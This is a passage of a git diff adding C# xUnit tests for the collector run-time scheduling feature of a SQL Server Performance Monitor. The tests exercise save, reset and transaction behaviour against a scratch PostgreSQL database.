+        var changes = CollectorScheduleOverlay.ToRunTimeChanges(editing, runTimes, serverId, usesDefault, clearRunTimes);
+        var rows = serverId is int sid
+            ? (usesDefault ? new List<CollectorScheduleRow>() : CollectorScheduleOverlay.ToServerOverrideRows(editing, sid))
+            : CollectorScheduleOverlay.ToFleetOverrideRows(editing);
+        await viewer.SaveCollectorScheduleAsync(serverId, rows, changes, clearRunTimes, ct);
+    }
+
+    /// <summary>The fleet row's stored frequency for the daily collector, or null when there is no such row (or no frequency on it).</summary>
+    private static async Task<int?> FleetFrequencyAsync(NpgsqlConnection connection, CancellationToken ct) =>
+        await ScalarAsync(connection,
+            $"SELECT frequency_minutes FROM config.config_collector_schedules WHERE server_id IS NULL AND collector_name = '{Daily}'", ct) is int minutes
+            ? minutes
+            : null;
+
+    private static void SetRunAt(List<CollectorScheduleEditItem> editing, string text, string collector = Daily) =>
+        editing.Single(i => i.Name == collector).RunAtText = text;
+
+    /// <summary>What the service resolves for the collector on the server, from the store's own rows.</summary>
+    private static async Task<int?> ResolvedRunAtAsync(ViewerDataService viewer, int serverId, CancellationToken ct)
+    {
+        var schedules = (await viewer.GetCollectorSchedulesAsync(ct))
+            .Select(r => new ScheduleOverride(r.ServerId, r.CollectorName, r.FrequencyMinutes, r.RetentionDays, r.Enabled, r.Databases))
+            .ToList();
+        var runTimes = (await viewer.GetCollectorRunTimesAsync(ct))
+            .Select(r => new RunTimeOverride(r.ServerId, r.CollectorName, r.RunAtMinute))
+            .ToList();
+        return StoreConfigProvider.ResolveSchedule(Daily, serverId, StoreConfigProvider.MergeRunTimes(schedules, runTimes)).RunAtMinute;
+    }
+
+    [Fact]
+    public async Task TheFleetRunTime_IsSetKeptAndCleared_ThroughTheRunTimeTable_AndNeverAScheduleRow()
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(ConnectionString), SkipText);
+        var ct = TestContext.Current.CancellationToken;
+
+        await using var scratch = await ScratchPostgres.CreateAsync(ConnectionString!, ct);
+        await using var connection = new NpgsqlConnection(scratch.ConnectionString);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+
+        var bodySucceeded = false;
+        try
+        {
+            await using var viewer = new ViewerDataService(scratch.ConnectionString);
+
+            /* Nothing stored: the cell reads "Use default" and a save writes nothing anywhere. */
+            await SaveAsync(viewer, null, editing => Assert.Equal("Use default", editing.Single(i => i.Name == Daily).RunAtText), ct);
+            Assert.Equal("", await RunTimesAsync(connection, ct));
+            Assert.Equal(0L, await ScheduleRowCountAsync(connection, ct));
+
+            /* SET: a fleet time on a collector left at its default cadence is a run-time row and NO schedule row. */
+            await SaveAsync(viewer, null, editing => SetRunAt(editing, "02:00"), ct);
+            Assert.Equal($"fleet/{Daily}=120", await RunTimesAsync(connection, ct));
+            Assert.Equal(0L, await ScheduleRowCountAsync(connection, ct));
+            var read = Assert.Single(await viewer.GetCollectorRunTimesAsync(ct));
+            Assert.Equal(new CollectorRunTimeRow(null, Daily, 120), read);
+
+            /* KEEP: the window reads the stored time into the cell, and a save that edits only a schedule column (the
+               schedule rows are deleted and inserted again) leaves the run time as it was. */
+            await SaveAsync(viewer, null, editing =>
+            {
+                Assert.Equal("02:00", editing.Single(i => i.Name == Daily).RunAtText);
+                editing.Single(i => i.Name == AnotherDaily).RetentionDays = 77;
+            }, ct);
+            Assert.Equal($"fleet/{Daily}=120", await RunTimesAsync(connection, ct));
+            Assert.Equal(1L, await ScheduleRowCountAsync(connection, ct));
+
+            /* EDIT: a new time replaces the old one in the same row. */
+            await SaveAsync(viewer, null, editing => SetRunAt(editing, "03:15"), ct);
+            Assert.Equal($"fleet/{Daily}=195", await RunTimesAsync(connection, ct));
+
+            /* CLEAR: "Use default" deletes the row, and so does "None" (the fleet has nothing to stop). */
+            await SaveAsync(viewer, null, editing => SetRunAt(editing, "Use default"), ct);
+            Assert.Equal("", await RunTimesAsync(connection, ct));
+            await SaveAsync(viewer, null, editing => SetRunAt(editing, "01:00"), ct);
+            await SaveAsync(viewer, null, editing => SetRunAt(editing, "None"), ct);
+            Assert.Equal("", await RunTimesAsync(connection, ct));
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, async (_, _) => { });
+        }
+    }
+
+    [Fact]
+    public async Task AServerRunTime_UsesDefaultNoneOrItsOwnTime_AndNoneStopsAFleetTime()
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(ConnectionString), SkipText);
+        var ct = TestContext.Current.CancellationToken;
+
+        await using var scratch = await ScratchPostgres.CreateAsync(ConnectionString!, ct);
+        await using var connection = new NpgsqlConnection(scratch.ConnectionString);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+
+        var bodySucceeded = false;
+        try
+        {
+            await using var viewer = new ViewerDataService(scratch.ConnectionString);
+
+            await SaveAsync(viewer, null, editing => SetRunAt(editing, "02:00"), ct);
+            Assert.Equal(120, await ResolvedRunAtAsync(viewer, 7, ct));
+
+            /* "Use default" on a customizing server writes no row for it, so the fleet's time applies. */
+            await SaveAsync(viewer, 7, editing => Assert.Equal("Use default", editing.Single(i => i.Name == Daily).RunAtText), ct);
+            Assert.Equal($"fleet/{Daily}=120", await RunTimesAsync(connection, ct));
+            Assert.Equal(120, await ResolvedRunAtAsync(viewer, 7, ct));
+
+            /* ITS OWN TIME replaces the fleet's for that server only. */
+            await SaveAsync(viewer, 7, editing => SetRunAt(editing, "04:30"), ct);
+            Assert.Equal($"fleet/{Daily}=120,7/{Daily}=270", await RunTimesAsync(connection, ct));
+            Assert.Equal(270, await ResolvedRunAtAsync(viewer, 7, ct));
+            Assert.Equal(120, await ResolvedRunAtAsync(viewer, 8, ct));
+
+            /* NONE is -1 on the server's row, which stops the fleet's time for that server. */
+            await SaveAsync(viewer, 7, editing => SetRunAt(editing, "None"), ct);
+            Assert.Equal($"fleet/{Daily}=120,7/{Daily}=-1", await RunTimesAsync(connection, ct));
+            Assert.Null(await ResolvedRunAtAsync(viewer, 7, ct));
+            Assert.Equal(120, await ResolvedRunAtAsync(viewer, 8, ct));
+
+            /* "Use the default schedule" deletes the server's schedule rows AND its run-time rows. */
+            await SaveAsync(viewer, 7, _ => { }, ct, usesDefault: true);
+            Assert.Equal($"fleet/{Daily}=120", await RunTimesAsync(connection, ct));
+            Assert.Equal(120, await ResolvedRunAtAsync(viewer, 7, ct));
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, async (_, _) => { });
+        }
+    }
+
+    [Fact]
+    public async Task AScheduleSave_ThroughTheViewersRealSql_LeavesEveryRunTimeAlone_AndApplyDefaultToAllRemovesOnlyTheServerRunTimes()
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(ConnectionString), SkipText);
+        var ct = TestContext.Current.CancellationToken;
+
+        await using var scratch = await ScratchPostgres.CreateAsync(ConnectionString!, ct);
+        await using var connection = new NpgsqlConnection(scratch.ConnectionString);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+
+        var bodySucceeded = false;
+        try
+        {
+            await using var viewer = new ViewerDataService(scratch.ConnectionString);
+            await ExecAsync(connection,
+                $"INSERT INTO config.config_collector_run_times (server_id, collector_name, run_at_minute) VALUES (NULL, '{Daily}', 0), (3, '{Daily}', -1), (3, '{AnotherDaily}', 1439)", ct);
+            const string Expected = $"fleet/{Daily}=0,3/{Daily}=-1,3/{AnotherDaily}=1439";
+
+            /* The viewer's own schedule statements, the fleet's and a server's, replace schedule rows only. */
+            await viewer.ReplaceFleetSchedulesAsync(new[] { new CollectorScheduleRow(null, Daily, 1440, 30, true) }, ct);
+            await viewer.ReplaceServerSchedulesAsync(3, new[] { new CollectorScheduleRow(3, Daily, null, null, true) }, ct);
+            await viewer.ReplaceServerSchedulesAsync(3, Array.Empty<CollectorScheduleRow>(), ct);
+            Assert.Equal(Expected, await RunTimesAsync(connection, ct));
+
+            /* The read returns the rows as stored: minute 0, the last minute of the day, and -1 on a server row. */
+            var rows = await viewer.GetCollectorRunTimesAsync(ct);
+            Assert.Equal(0, rows.Single(r => r.ServerId is null).RunAtMinute);
+            Assert.Equal(-1, rows.Single(r => r.ServerId == 3 && r.CollectorName == Daily).RunAtMinute);
+            Assert.Equal(1439, rows.Single(r => r.ServerId == 3 && r.CollectorName == AnotherDaily).RunAtMinute);
+
+            /* "Apply Default to All Servers" is one call: it sends every server back to the fleet, run times included (no server
+               schedule rows are left at this point, so the count is the two server run times), and keeps the fleet's. */
+            var removed = await viewer.ResetAllServerSchedulesAsync(ct);
+            Assert.Equal(new CollectorScheduleResetCounts(ScheduleOverrides: 0, RunTimes: 2), removed);
+            Assert.Equal($"fleet/{Daily}=0", await RunTimesAsync(connection, ct));
+
+            /* A reset of run times alone says so (#4938): it is not reported as schedule overrides. */
+            Assert.Equal(
+                "Reset 2 per-server run times — every server now follows the fleet default.",
+                CollectorScheduleOverlay.FormatResetStatus(removed));
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, async (_, _) => { });
+        }
+    }
+
+    /// <summary>The viewer's schema probe fails open when it throws, so a store below V160 can reach the editor. The run-time read
+    /// must then be "no run times" (42P01 undefined_table), the editor's Run at cells must all read "Use default", and saving a run
+    /// time must say the store is older than this viewer (not the raw error). A schedule save and the reset still work.</summary>
+    [Fact]
+    public async Task AStoreWithoutTheRunTimeTable_ReadsNoRunTimes_AndASaveSaysTheStoreIsOlder()
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(ConnectionString), SkipText);
+        var ct = TestContext.Current.CancellationToken;
+
+        await using var scratch = await ScratchPostgres.CreateAsync(ConnectionString!, ct);
+        await using var connection = new NpgsqlConnection(scratch.ConnectionString);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+
+        var bodySucceeded = false;
+        try
+        {
+            await ExecAsync(connection, "DROP TABLE config.config_collector_run_times", ct);
+            await using var viewer = new ViewerDataService(scratch.ConnectionString);
+
+            Assert.Empty(await viewer.GetCollectorRunTimesAsync(ct));
+            var editing = CollectorScheduleOverlay.BuildEffectiveSchedule(
+                await viewer.GetCollectorSchedulesAsync(ct), await viewer.GetCollectorRunTimesAsync(ct), null);
+            Assert.All(editing, i => Assert.Equal(CollectorScheduleOverlay.UseDefaultRunAtText, i.RunAtText));
+
+            var skew = await Assert.ThrowsAsync<ViewerSchemaSkewException>(() =>
+                viewer.SaveCollectorRunTimesAsync(new[] { new CollectorRunTimeChange(null, Daily, 120) }, ct));
+            Assert.Contains("Update or restart the Darling service", skew.Message, StringComparison.Ordinal);
+            Assert.IsType<PostgresException>(skew.InnerException);
+
+            /* Everything that does not touch a run time still works on such a store, the all-servers reset included: it removes the
+               server's schedule rows and has no run-time table to clear. */
+            await viewer.ReplaceFleetSchedulesAsync(new[] { new CollectorScheduleRow(null, Daily, 1440, 30, true) }, ct);
+            await viewer.ReplaceServerSchedulesAsync(3, new[] { new CollectorScheduleRow(3, Daily, 720, 30, true) }, ct);
+            Assert.Equal(2L, await ScheduleRowCountAsync(connection, ct));
+            Assert.Equal(new CollectorScheduleResetCounts(ScheduleOverrides: 1, RunTimes: 0), await viewer.ResetAllServerSchedulesAsync(ct));
+            Assert.Equal(1L, await ScheduleRowCountAsync(connection, ct));
+
+            /* The window's one-transaction Save on such a store: a Save that changed no run time sends no run-time statement and
+               still saves its schedules; one that did says the store is older, and the schedule rows of that same Save are NOT
+               written (they share its transaction). */
+            await viewer.SaveCollectorScheduleAsync(
+                null, new[] { new CollectorScheduleRow(null, Daily, 720, 30, true) }, Array.Empty<CollectorRunTimeChange>(), ct);
+            Assert.Equal(720, await FleetFrequencyAsync(connection, ct));
+            var oneTransaction = await Assert.ThrowsAsync<ViewerSchemaSkewException>(() => viewer.SaveCollectorScheduleAsync(
+                null, new[] { new CollectorScheduleRow(null, Daily, 60, 30, true) }, new[] { new CollectorRunTimeChange(null, Daily, 120) }, ct));
+            Assert.Contains("Update or restart the Darling service", oneTransaction.Message, StringComparison.Ordinal);
+            Assert.Equal(720, await FleetFrequencyAsync(connection, ct));
+
+            /* A schedule Reset's Save on such a store has no run-time table to clear: the clear is skipped and the schedules are saved. */
+            await viewer.SaveCollectorScheduleAsync(
+                null, new[] { new CollectorScheduleRow(null, Daily, 480, 30, true) }, Array.Empty<CollectorRunTimeChange>(), true, ct);
+            Assert.Equal(480, await FleetFrequencyAsync(connection, ct));
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, async (_, _) => { });
+        }
+    }
+
+    /// <summary>The window's Save is ONE transaction on one connection (#4938). The run-time write comes first, so a schedule write
+    /// that fails after it (here a frequency the schedules table's own CHECK refuses) must take the run time back with it, for the
+    /// fleet and for a server; a run-time write that fails (the run-time table's CHECK refuses -1 on a fleet row) must leave the
+    /// schedule rows of that Save as they were; and the same Save with a valid schedule is the control that both halves land
+    /// together.</summary>
+    [Fact]
+    public async Task AScheduleWriteThatFails_LeavesTheRunTimeUnsaved_BecauseTheSaveIsOneTransaction()
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(ConnectionString), SkipText);
+        var ct = TestContext.Current.CancellationToken;
+
+        await using var scratch = await ScratchPostgres.CreateAsync(ConnectionString!, ct);
+        await using var connection = new NpgsqlConnection(scratch.ConnectionString);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+
+        var bodySucceeded = false;
+        try
+        {
+            await using var viewer = new ViewerDataService(scratch.ConnectionString);
+
+            /* The control: a valid fleet Save lands the run time and the schedule row together. */
+            await viewer.SaveCollectorScheduleAsync(
+                null, new[] { new CollectorScheduleRow(null, Daily, 1440, 30, true) }, new[] { new CollectorRunTimeChange(null, Daily, 120) }, ct);
+            Assert.Equal($"fleet/{Daily}=120", await RunTimesAsync(connection, ct));
+            Assert.Equal(1440, await FleetFrequencyAsync(connection, ct));
+
+            /* FLEET: the run time moves 120 -> 300 and the schedule write then fails (frequency_minutes >= 0 refuses -1). Neither
+               half may stay: the run time is still 120 and the schedule row is still the one the control wrote. */
+            var fleetFailure = await Assert.ThrowsAsync<PostgresException>(() => viewer.SaveCollectorScheduleAsync(
+                null, new[] { new CollectorScheduleRow(null, Daily, -1, 30, true) }, new[] { new CollectorRunTimeChange(null, Daily, 300) }, ct));
+            Assert.Equal("23514", fleetFailure.SqlState);
+            Assert.Equal($"fleet/{Daily}=120", await RunTimesAsync(connection, ct));
+            Assert.Equal(1440, await FleetFrequencyAsync(connection, ct));
+            Assert.Equal(1L, await ScheduleRowCountAsync(connection, ct));
+
+            /* SERVER: a new server run time and a refused server schedule row. No server run time, no server schedule row. */
+            var serverFailure = await Assert.ThrowsAsync<PostgresException>(() => viewer.SaveCollectorScheduleAsync(
+                3, new[] { new CollectorScheduleRow(3, Daily, -1, null, true) }, new[] { new CollectorRunTimeChange(3, Daily, 180) }, ct));
+            Assert.Equal("23514", serverFailure.SqlState);
+            Assert.Equal($"fleet/{Daily}=120", await RunTimesAsync(connection, ct));
+            Assert.Equal(1L, await ScheduleRowCountAsync(connection, ct));
+
+            /* THE OTHER WAY: a run-time write the run-time table refuses (-1 is a server-row value only) leaves the schedule rows of
+               that Save as they were, so the 1440 the control wrote is not replaced by this Save's 720. */
+            var runTimeFailure = await Assert.ThrowsAsync<PostgresException>(() => viewer.SaveCollectorScheduleAsync(
+                null, new[] { new CollectorScheduleRow(null, Daily, 720, 30, true) }, new[] { new CollectorRunTimeChange(null, Daily, -1) }, ct));
+            Assert.Equal("23514", runTimeFailure.SqlState);
+            Assert.Equal($"fleet/{Daily}=120", await RunTimesAsync(connection, ct));
+            Assert.Equal(1440, await FleetFrequencyAsync(connection, ct));
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, async (_, _) => { });
+        }
+    }
+
+    private const string RunTimeRows = "INSERT INTO config.config_collector_run_times (server_id, collector_name, run_at_minute) VALUES ";
+
+    private const string ScheduleRows = "INSERT INTO config.config_collector_schedules (server_id, collector_name, frequency_minutes) VALUES ";
+
+    /// <summary>"Apply Default to All Servers" is ONE call (#4938): it deletes every server's schedule rows and every server's run
+    /// times, and keeps the fleet's schedule rows and run times. A server's run time is part of its override, and Reset means back
+    /// to the shipped defaults, which have no fixed time. It returns the rows removed from each table, counted apart (#4938).</summary>
+    [Fact]
+    public async Task ApplyDefaultToAllServers_RemovesEveryServersScheduleRowsAndRunTimes_AndKeepsTheFleets()
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(ConnectionString), SkipText);
+        var ct = TestContext.Current.CancellationToken;
+
+        await using var scratch = await ScratchPostgres.CreateAsync(ConnectionString!, ct);
+        await using var connection = new NpgsqlConnection(scratch.ConnectionString);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+
+        var bodySucceeded = false;
+        try
+        {
+            await ExecAsync(connection, ScheduleRows + $"(NULL, '{Daily}', 1440), (3, '{Daily}', 2880), (7, '{AnotherDaily}', 720)", ct);
+            await ExecAsync(connection, RunTimeRows + $"(NULL, '{Daily}', 0), (3, '{Daily}', -1), (3, '{AnotherDaily}', 1439), (7, '{Daily}', 300)", ct);
+            await using var viewer = new ViewerDataService(scratch.ConnectionString);
+
+            /* Two server schedule rows and three server run times, in one call. */
+            Assert.Equal(new CollectorScheduleResetCounts(ScheduleOverrides: 2, RunTimes: 3), await viewer.ResetAllServerSchedulesAsync(ct));
+            Assert.Equal(1L, await ScheduleRowCountAsync(connection, ct));
+            Assert.Equal(1440, await FleetFrequencyAsync(connection, ct));
+            Assert.Equal($"fleet/{Daily}=0", await RunTimesAsync(connection, ct));
+
+            /* Nothing left that belongs to a server, so a second call removes nothing. */
+            Assert.Equal(new CollectorScheduleResetCounts(ScheduleOverrides: 0, RunTimes: 0), await viewer.ResetAllServerSchedulesAsync(ct));
+            Assert.Equal($"fleet/{Daily}=0", await RunTimesAsync(connection, ct));
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, async (_, _) => { });
+        }
+    }
+
+    /// <summary>The all-servers reset is one transaction (#4938): a failure after the schedule delete, here the run-time delete
+    /// refused by a trigger, leaves the schedule rows AND the run times in place, and the same call with the trigger gone is the
+    /// control that both halves land together.</summary>
+    [Fact]
+    public async Task ApplyDefaultToAllServers_ThatFailsAfterTheScheduleDelete_LeavesTheScheduleRowsAndTheRunTimesInPlace()
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(ConnectionString), SkipText);
+        var ct = TestContext.Current.CancellationToken;
+
+        await using var scratch = await ScratchPostgres.CreateAsync(ConnectionString!, ct);
+        await using var connection = new NpgsqlConnection(scratch.ConnectionString);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+
+        var bodySucceeded = false;
+        try
+        {
+            await ExecAsync(connection, ScheduleRows + $"(NULL, '{Daily}', 1440), (3, '{Daily}', 2880), (7, '{AnotherDaily}', 720)", ct);
+            await ExecAsync(connection, RunTimeRows + $"(NULL, '{Daily}', 0), (3, '{Daily}', -1), (7, '{Daily}', 300)", ct);
+            const string Before = $"fleet/{Daily}=0,3/{Daily}=-1,7/{Daily}=300";
+            await using var viewer = new ViewerDataService(scratch.ConnectionString);
+
+            /* The schedule delete runs first, so a refused run-time delete has to take it back. */
+            await ExecAsync(connection,
+                "CREATE FUNCTION public.refuse_run_time_delete() RETURNS trigger LANGUAGE plpgsql AS $$ BEGIN RAISE EXCEPTION 'run times cannot be deleted'; END $$", ct);
+            await ExecAsync(connection,
+                "CREATE TRIGGER trg_refuse_run_time_delete BEFORE DELETE ON config.config_collector_run_times FOR EACH STATEMENT EXECUTE FUNCTION public.refuse_run_time_delete()", ct);
+
+            var failure = await Assert.ThrowsAsync<PostgresException>(() => viewer.ResetAllServerSchedulesAsync(ct));
+            Assert.Equal("P0001", failure.SqlState);
+            Assert.Equal(3L, await ScheduleRowCountAsync(connection, ct));
+            Assert.Equal(2L, await ScalarAsync(connection, "SELECT count(*) FROM config.config_collector_schedules WHERE server_id IS NOT NULL", ct));
+            Assert.Equal(Before, await RunTimesAsync(connection, ct));
+
+            /* The control: without the trigger the same call removes both. */
+            await ExecAsync(connection, "DROP TRIGGER trg_refuse_run_time_delete ON config.config_collector_run_times", ct);
+            Assert.Equal(new CollectorScheduleResetCounts(ScheduleOverrides: 2, RunTimes: 2), await viewer.ResetAllServerSchedulesAsync(ct));
+            Assert.Equal(1L, await ScheduleRowCountAsync(connection, ct));
+            Assert.Equal($"fleet/{Daily}=0", await RunTimesAsync(connection, ct));
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, async (_, _) => { });
+        }
+    }
+
+    /// <summary>A schedule Reset deletes that scope's run-time rows, in the same Save (#4938). Reset to Defaults replaces the
+    /// grid with the shipped defaults, which have no fixed time, so the Save leaves no run-time row for the scope: not the ones the
+    /// window showed, not one another writer added while the window was open, and not one for a collector this build does not
+    /// define. A server that "uses the default schedule" is the same Reset for that server. Every other scope keeps its rows.</summary>
+    [Fact]
+    public async Task ASaveAfterAReset_LeavesNoRunTimeRowForTheScope_AndKeepsEveryOtherScopes()
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(ConnectionString), SkipText);
+        var ct = TestContext.Current.CancellationToken;
+
+        await using var scratch = await ScratchPostgres.CreateAsync(ConnectionString!, ct);
+        await using var connection = new NpgsqlConnection(scratch.ConnectionString);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+
+        var bodySucceeded = false;
+        try
+        {
+            await ExecAsync(connection,
+                RunTimeRows + $"(NULL, '{Daily}', 120), (NULL, 'a_collector_this_build_lacks', 30), (7, '{Daily}', 300), (7, 'a_collector_this_build_lacks', 60), (8, '{Daily}', 200), (9, '{Daily}', 240)", ct);
+            await using var viewer = new ViewerDataService(scratch.ConnectionString);
+
+            /* SERVER 7: it holds a time for the collector the window shows, one for a collector this build does not define, and
+               a third that another writer adds while the window is open. The Reset removes all three, and no other scope's. */
+            await SaveAsync(viewer, 7, _ => { }, ct, resetToDefaults: true,
+                afterOpen: () => ExecAsync(connection, RunTimeRows + $"(7, '{AnotherDaily}', 1439)", ct));
+            Assert.Equal(
+                $"fleet/a_collector_this_build_lacks=30,fleet/{Daily}=120,8/{Daily}=200,9/{Daily}=240",
+                await RunTimesAsync(connection, ct));
+
+            /* A time typed into the grid after the Reset is kept: the Save clears the scope, then writes what the grid holds. */
+            await ExecAsync(connection, RunTimeRows + $"(8, '{AnotherDaily}', 90)", ct);
+            await SaveAsync(viewer, 8, editing => SetRunAt(editing, "04:00"), ct, resetToDefaults: true);
+            Assert.Equal(
+                $"fleet/a_collector_this_build_lacks=30,fleet/{Daily}=120,8/{Daily}=240,9/{Daily}=240",
+                await RunTimesAsync(connection, ct));
+
+            /* "Use default schedule" for a server is the same Reset for that server. */
+            await SaveAsync(viewer, 9, _ => { }, ct, usesDefault: true,
+                afterOpen: () => ExecAsync(connection, RunTimeRows + $"(9, '{AnotherDaily}', 45)", ct));
+            Assert.Equal(
+                $"fleet/a_collector_this_build_lacks=30,fleet/{Daily}=120,8/{Daily}=240",
+                await RunTimesAsync(connection, ct));
+
+            /* THE FLEET: Reset to Defaults clears the fleet's rows (and the fleet only). */
+            await SaveAsync(viewer, null, _ => { }, ct, resetToDefaults: true);
+            Assert.Equal($"8/{Daily}=240", await RunTimesAsync(connection, ct));
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, async (_, _) => { });
+        }
+    }
+}
diff --git a/Darling/Darling.Tests/CollectorRunTimeViewerTests.cs b/Darling/Darling.Tests/CollectorRunTimeViewerTests.cs
new file mode 100644
index 0000000000..2c2c611698
--- /dev/null
+++ b/Darling/Darling.Tests/CollectorRunTimeViewerTests.cs
@@ -0,0 +1,403 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using PerformanceMonitor.Analysis.Baselines;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Darling.Viewer;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// The Collector Schedules window's "Run at" column (#4938), without a store: what the cell holds for each scope,
+/// the rows a save writes from it, the checks a save runs and the text they show, and the conversion line under the
+/// grid. All of it is pure, so it is tested without a window. The store round trip is
+/// <see cref="CollectorRunTimeViewerLiveTests"/>.
+/// </summary>
+public sealed class CollectorRunTimeViewerTests
+{
+    private const string Daily = "index_object_stats";
+    private const string AnotherDaily = "pg_index_usage_stats";
+    private const string OnLoad = "server_properties";
+    private const string Hourly = "wait_stats";
+
+    private static CollectorScheduleEditItem Item(string name, string runAt, int? frequency = null)
+    {
+        var item = CollectorSchedulePresets.BuildDefaultSchedule().Single(i => i.Name == name);
+        item.RunAtText = runAt;
+        if (frequency is int f)
+        {
+            item.FrequencyMinutes = f;
+        }
+
+        return item;
+    }
+
+    private static bool Valid(CollectorScheduleEditItem item, out string error) =>
+        CollectorScheduleOverlay.ValidateSchedule(new[] { item }, out error);
+
+    [Fact]
+    public void ANewItem_ShowsUseDefault_AndSoDoesEveryItemOfTheDefaultSchedule()
+    {
+        Assert.Equal("Use default", CollectorScheduleOverlay.UseDefaultRunAtText);
+        Assert.Equal("None", CollectorScheduleOverlay.NoRunAtText);
+        Assert.Equal(CollectorScheduleOverlay.UseDefaultRunAtText, new CollectorScheduleEditItem().RunAtText);
+        Assert.All(CollectorSchedulePresets.BuildDefaultSchedule(), i => Assert.Equal(CollectorScheduleOverlay.UseDefaultRunAtText, i.RunAtText));
+    }
+
+    [Fact]
+    public void TheCell_HoldsTheScopesOwnRunTime_NeverTheFleetOneOverlaidOnAServer()
+    {
+        var rows = new[]
+        {
+            new CollectorRunTimeRow(null, Daily, 120),
+            new CollectorRunTimeRow(2, Daily, -1),
+            new CollectorRunTimeRow(3, Daily, 195),
+        };
+
+        string Cell(int? serverId) =>
+            CollectorScheduleOverlay.BuildEffectiveSchedule(Array.Empty<CollectorScheduleRow>(), rows, serverId).Single(i => i.Name == Daily).RunAtText;
+
+        Assert.Equal("02:00", Cell(null));
+        /* A server with no run-time row of its own shows "Use default", not the fleet's 02:00: if the cell took the fleet's
+           value, a save would write it into every server's run-time rows and "Use default" could never survive. */
+        Assert.Equal("Use default", Cell(1));
+        Assert.Equal("None", Cell(2));
+        Assert.Equal("03:15", Cell(3));
+        Assert.Equal("Use default", Cell(99));
+
+        Assert.All(
+            CollectorScheduleOverlay.BuildEffectiveSchedule(Array.Empty<CollectorScheduleRow>(), rows, 3).Where(i => i.Name != Daily),
+            i => Assert.Equal("Use default", i.RunAtText));
+    }
+
+    [Fact]
+    public void ARunTime_NeedsNoScheduleRow_AndAScheduleRowCarriesNone()
+    {
+        /* A run time lives in its own table, so a collector left at its default cadence with a run time writes a run-time
+           change and NO schedule row, and the schedule rows a Save writes name no run time at all. */
+        Assert.Empty(CollectorScheduleOverlay.ToFleetOverrideRows(new[] { Item(Daily, "02:00") }));
+
+        var change = Assert.Single(CollectorScheduleOverlay.ToRunTimeChanges(
+            new[] { Item(Daily, "02:00") }, Array.Empty<CollectorRunTimeRow>(), serverId: null, usesDefault: false));
+        Assert.Equal(new CollectorRunTimeChange(null, Daily, 120), change);
+
+        var serverRows = CollectorScheduleOverlay.ToServerOverrideRows(new[] { Item(Daily, "02:00"), Item(AnotherDaily, "None") }, 5);
+        Assert.All(serverRows, r => Assert.Equal(5, r.ServerId));
+        Assert.DoesNotContain(
+            typeof(CollectorScheduleRow).GetProperties(), p => p.Name.Contains("RunAt", StringComparison.Ordinal));
+    }
+
+    [Fact]
+    public void NoneOnTheFleet_IsNoRow_BecauseTheFleetHasNothingToStop()
+    {
+        var stored = new[] { new CollectorRunTimeRow(null, Daily, 120) };
+
+        /* A stored fleet time set to None is deleted, and None with nothing stored writes nothing. */
+        var change = Assert.Single(CollectorScheduleOverlay.ToRunTimeChanges(new[] { Item(Daily, "None") }, stored, null, false));
+        Assert.Equal(new CollectorRunTimeChange(null, Daily, null), change);
+        Assert.Empty(CollectorScheduleOverlay.ToRunTimeChanges(new[] { Item(Daily, "None") }, Array.Empty<CollectorRunTimeRow>(), null, false));
+    }
+
+    [Fact]
+    public void TheRunTimeChanges_AreOnlyTheDifferences_AndNoneIsMinusOneOnAServer()
+    {
+        var stored = new[]
+        {
+            new CollectorRunTimeRow(5, Daily, 120),
+            new CollectorRunTimeRow(5, AnotherDaily, 300),
+            new CollectorRunTimeRow(5, "pg_column_stats", 60),
+            new CollectorRunTimeRow(6, "pg_index_bloat", 10),
+            new CollectorRunTimeRow(null, "pg_index_bloat", 20),
+        };
+
+        var changes = CollectorScheduleOverlay.ToRunTimeChanges(
+            new[]
+            {
+                Item(Daily, "02:00"),                  // unchanged: no change
+                Item(AnotherDaily, "Use default"),     // had a row: delete it
+                Item("pg_column_stats", "None"),       // 60 -> -1
+                Item("pg_index_bloat", "23:59"),       // no row for server 5: insert
+            },
+            stored, 5, usesDefault: false);
+
+        Assert.Equal(
+            new[]
+            {
+                new CollectorRunTimeChange(5, AnotherDaily, null),
+                new CollectorRunTimeChange(5, "pg_column_stats", -1),
